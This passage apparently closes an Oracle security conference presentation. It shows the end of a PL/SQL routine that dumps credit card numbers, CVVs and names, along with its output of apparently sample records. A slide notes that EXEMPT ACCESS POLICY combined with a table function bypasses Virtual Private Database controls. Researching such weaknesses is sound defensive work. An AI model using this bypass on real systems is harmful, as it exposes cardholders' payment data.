            dbms_output.put_line ('Creditcard: ' || TO_CHAR(l_cc_tab(i).id) || ' - ' || l_cc_tab(i).cc || ' - ' || l_cc_tab(i).cvv || ' - ' || l_cc_tab(i).firstname || ' - ' || l_cc_tab(i).lastname);
        END LOOP;
    END LOOP;
END;
/

Creditcard: 1 - 5310456677731234 - 123 - Alexander - Kornbrust
Creditcard: 2 - 4320334455644321 - 234 - Frank - Schmidt
Creditcard: 3 - 4350896723124345 - 777 - Hans - Huber
Exempt Access Policy and Table Function

- Creating a table function in a user (CREATE ANY PROCEDURE) with EXEMPT ACCESS POLICY can be used to bypass VPD.
Trends 2020

- Much more Oracle 19c vulnerabilities
- More Multi-Tenant-Databases
- More Auditing
- More architecture flaws in relational databases
Q & A
Thank you

Contact:
Red-Database-Security GmbH
Eibenweg 42
D-63150 Heusenstamm
Germany